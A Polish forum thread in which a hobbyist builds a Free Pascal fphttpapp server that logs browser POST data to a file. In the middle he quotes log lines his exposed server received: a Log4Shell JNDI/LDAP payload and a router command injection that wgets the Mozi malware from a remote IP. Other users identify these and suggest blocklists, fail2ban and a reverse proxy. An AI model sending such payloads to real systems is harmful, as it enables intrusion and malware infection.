-
Czy jest możliwość podłaczenia bazy danych firebird 3 na Lazarus używajac pas2js widgetsets?
(Wiem ze można użyć TMS WEB Core ale szukam darmowej opcji.) -
Jak zapisac plik na dysku używajc pas2js.
Zakładając, że plik z javascriptem uruchamia się na przeglądarce gdzieś w świecie, a zapis danych itp wykonuje się na serwerze u mnie w biurze, napisałem serwer http korzystający z fphttpapp. W nim rejestruję plik *.js (poprzez RegisterFileLocation). Inaczej mówiąc to serwer http jest od tego aby zapisać, przesłać, słowem przetworzyć dane wysyłane z przeglądarki z uruchomionym plikiem javascript. Na moim kanale youtube zamieściłem kiedyś przykład takiego rozwiązania. Jest siermiężny, ale obrazuje ideę tego podejścia. Tu masz link:
oraz przykład takiej aplikacji z javascriptem pas2js for HttpServer.rar.
a przypadkiem Zeoslib nie jest dostępny na Lazarusa?
@machinebyte4: Widziałem twój film niestety nie działa on u mnie biore sie za analizowanie twojego kodu.
To co mi potrzebne to zapis stringa z WEdit1.text na serwer.
Jak byś mógł opisać trochę swój projekt byłbym bardzo wdzięczny
Pozdrawiam.
1- Strona jest generowana na serwerze http. Mam na myśli serwer napisany przy pomocy fphttpapp.Tutaj kod generowania samej strony:
with ARes.Contents do
begin
Add(
' <!doctype html>'+
' <html lang="en">'+
' <head>'+
' <meta http-equiv="Content-type" content="text/javascript; charset=utf-8">'+
' <meta name="viewport" content="width=device-width, initial-scale=1">'+
' <title>Project1</title>'+
' <script src="project1.js"></script>'+
' </head>'+
' <body>'+
' <script>'+
' window.addEventListener("load", rtl.run);'+
' </script>'+
' <button type="submit" id="submitButton" class="1 2 3 4">POST</button>'+
' <button type="submit" id="getButton">GET</button>'+
' <div id="pasjsconsole">'+
' </div>'+
' </body>'+
' </html>'
);
aRes.Code:=200;
aRes.ContentType := 'text/html; charset=UTF-8';
aRes.ContentLength := Length(aRes.Content);
aRes.SendContent;
end;
2- W załączniku który posłałem w poprzednim poście jest przykład jak z poziomu pas2js a konkretnie korzystając z TJSXMLHttpRequest obsłużyć zdarzenia naciśnięcia przycisków. Na stronie jest min. przycisk 'POST' za pomocą którego wysyłasz coś tam na serwer http. Jak to się dzieje? Ano przeanalizuj ten fragment
submitButton := document.querySelector('#submitButton');
submitButton.addEventListener('click', @postTask);
Jak widzisz do przycisku typu button jest dodany 'nasłuchiwacz' :) - czyli poprzez addEventListener podpinasz niejako procedurę obsługującą zdarzenie polegające na naciśnięciu tegoż przycisku. Tą procedurą jest postTask a jej kod
function postTask(Event: TEventListenerEvent): Boolean;
begin
//POST
xhr:=TJSXMLHttpRequest.New;
xhr.open('POST',window.location.href);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('joan');
end;
Dzięki tej procedurze jest możliwe posłanie czegoś do serwera http działającego na tym samym lub innym komputerze. Jeżeli np. chcesz żeby coś zostało wysłane z pola typu Edit, to praktycznie masz już wszystko na tacy. Ale...
Kodu serwera natomiast nie załączyłem, musisz popracować sam. Trochę tam w pkt1 chlapnąłem, niemniej im więcej nauczysz się sam, tym więcej będziesz pamiętał:) Pozdrawiam i wszystkim zdrowego 2022 życzę.
mrmajer napisał(a):
Hmmm... Chyba masz panie kolego braki w podstawach, niestety.
I być może będzie problem ze zrozumieniem.
- Czy jest możliwość podłaczenia bazy danych firebird 3 na Lazarus używajac pas2js widgetsets?
Bezpośrednio?
Nie.
Po prostu w przeglądarce nie ma opcji, abyś dostał się bezpośrednio do zewnętrzne j bazy danych.
No dobra, są pewne wyjątki od reguły, ale... To są jednak wyjątki.
(Wiem ze można użyć TMS WEB Core ale szukam darmowej opcji.)
Z TMS WEB Core też nie da się tego zrobić tak jak ci się wydaje.
Da się to zrobić, ale zauważ że tam pomiędzy aplikacją w przeglądarce a bazą danych, jest serwer REST z którym to komunikuje się kod z przeglądarki.
W TMS masz taki samograj o nazwie XData, który de-facto jest serwerem REST, do którego zadajesz zapytania, a on Ci odsyła dane.
I co ciekawe, w darmowym mORMocie (który bez problemu użyjesz w Lazarusie) jest dokładnie podobny mechanizm.
Tu masz przykładowy projekt takiego serwera, działa to tak że z poziomu JS wykonujesz sobie metodę Execute w której podajesz zapytanie SQL, a metoda zwraca Ci dane w JSON.
A więc (najprawdopodobniej) da się to zrobić przy pomocy pas2js ale musisz mieć serwer, który możesz napisać sobie w Delphi/FPC lub czymkolwiek innym.
- Jak zapisac plik na dysku używajc pas2js.
Nie mam pojęcia :)
mrmajer napisał(a):
Tak mam duże braki nie jestem progrmistą tylko elektrykiem, piszę dla przyjemniosci.
Właśnie nauczyłęm sie troche js.
Napisałem dzieki @machinebyte4: serwer który zapisuje plik na dysku z danymi z przegladaki jak dla mnie bomba.Program pobiera string z Wedit i po nacisnieciu przyciku wysyla na serwera i zapisuje do pliku txt
program project1;
{$mode objfpc}{$H+}
uses
{$IFDEF UNIX}{$IFDEF UseCThreads}
cthreads,
{$ENDIF}{$ENDIF}
sysutils, fphttpapp, HTTPDefs, httproute, fpwebfile,
Classes, CustApp;
procedure Test(aReq: TRequest; aRes: TResponse);
var
TF : TextFile;
begin
//zapis do pliku stringa aReq.Content
AssignFile(TF, 'plik.txt');
Append(TF);
Write(TF, DateTimeToStr(Now)+' ');
Writeln(TF, aReq.Content );
CloseFile(TF);
WriteLn(aReq.Content);
//tworzy strone html
with ARes.Contents do
begin
Add(
' <!doctype html>'+
' <html lang="en">'+
' <head>'+
' <meta http-equiv="Content-type" content="text/javascript; charset=utf-8">'+
' <meta name="viewport" content="width=device-width, initial-scale=1">'+
' <title>Project1</title>'+
' <script src="project1.js"></script>'+
' </head>'+
' <body>'+
' <script>'+
' rtl.run();'+
' </script>'+
' </body>'+
' </html>'
);
aRes.Code:=200;
aRes.ContentType := 'text/html; charset=UTF-8';
aRes.ContentLength := Length(aRes.Content);
aRes.SendContent;
end;
end;
//robi server html
begin
Application.Port := 80;
RegisterFileLocation('project1.js', '');
HTTPRouter.RegisterRoute('/', @Test, True);
Application.Initialize;
Application.Threaded:=True;
Application.Run;
end.
to jest potrzebne do wysyłania z przegladarki
procedure TWForm1.WButton2Click(Sender: TObject);
begin
xhr:=TJSXMLHttpRequest.New;
xhr.open('POST','http://192.168.1.101:80');
// xhr.open('POST',window.location.href);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send(wedit1.Text+' '+wedit2.Text+' '+wedit3.Text);
end;
Serwer dziala niestety zauważyłemże są wysyłane komunikaty ktorych nie rozumie jest ich dużo tu tylko kilka przykładów:
5-3-22 07:05:42 data=${jndi:ldap://115.28.134.231:1389/Exploit}
5-3-22 18:47:54 XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://112.230.251.82:54724/Mozi.m+-O+-/tmp/gpon80
8-3-22 02:47:53 <soap:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Header><operationID>00000001-00000001</operationID></soap:Header><soap:Body><RetrieveServiceContent xmlns="urn:internalvim25"><_this xsi:type="ManagedObjectReference" type="ServiceInstance">ServiceInstance</_this></RetrieveServiceContent></soap:Body></soap:Envelope>
1.Podejrzewam że ktoś probuje się dostać na mój komputer czy jest to groźne ?.
2.Jak sie zabezpieczyc przed tym?
3. Jak odczytac IP osoby ktora łączy się z serwerem
@mrmajer: to są próby wykorzystania podatności Log4Shell.
@skrzat: Dzięki za pomoc właśnie troche poczytłem o Log4Shell. Mysle że jestem bezpieczny.
Nie myśl tylko sie zabezpiecz. Mozesz na firewallu dać black liste ip botów, whiteliste autoryzowanych klientow, port knocking, fail to ban.
@pieczarek: black liste moge zrobić z ip które boty podaja np.
data=${jndi:ldap://115.28.134.231:1389/Exploit}
tu moge dodać do black list 115.28.134.231
ale jak odczytać ip takiego bota
8-3-22 02:47:53 <?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE NFuseProtocol SYSTEM "NFse.dtd"><NFuseProtocol version="1.1"><RequetServerData><ServerType>all</Serverype><ClientType>all</ClientType></RequestServerData></NFusePrtocol>
Postaw reverse proxy np Nginx - z pudełka masz logi wraz z IP każdego klienta oraz wszystkie ustrojstwa o jakich wspomniałem.
Jeszcze raz dziekuje za pomoc.
Przerobiłem troche server (dodałem aReq.RemoteAddress)wiec teraz ma plik logo z datą i adresem ip. Mogę teraz łatwo blokować uzytkowników po adresie IP np. wszystkich logujacych się po godzinach pracy.
procedure Test(aReq: TRequest; aRes: TResponse);
var
TF : TextFile;
begin
//zapis do pliku stringa aReq.Content
AssignFile(TF, 'log.txt');
Append(TF);
Write(TF, DateTimeToStr(Now)+' ');
Write(TF, aReq.RemoteAddress +' ');
Writeln(TF, aReq.Content );
CloseFile(TF);
WriteLn(aReq.Content);
//tworzy strone html
with ARes.Contents do
begin
Add(
' <!doctype html>'+
' <html lang="en">'+
' <head>'+
' <meta http-equiv="Content-type" content="text/javascript; charset=utf-8">'+
' <meta name="viewport" content="width=device-width, initial-scale=1">'+
' <title>Project1</title>'+
' <script src="project1.js"></script>'+
' </head>'+
' <body>'+
' <script>'+
' rtl.run();'+
' </script>'+
' </body>'+
' </html>'
);
aRes.Code:=200;
aRes.ContentType := 'text/html; charset=UTF-8';
aRes.ContentLength := Length(aRes.Content);
aRes.SendContent;
end;
end;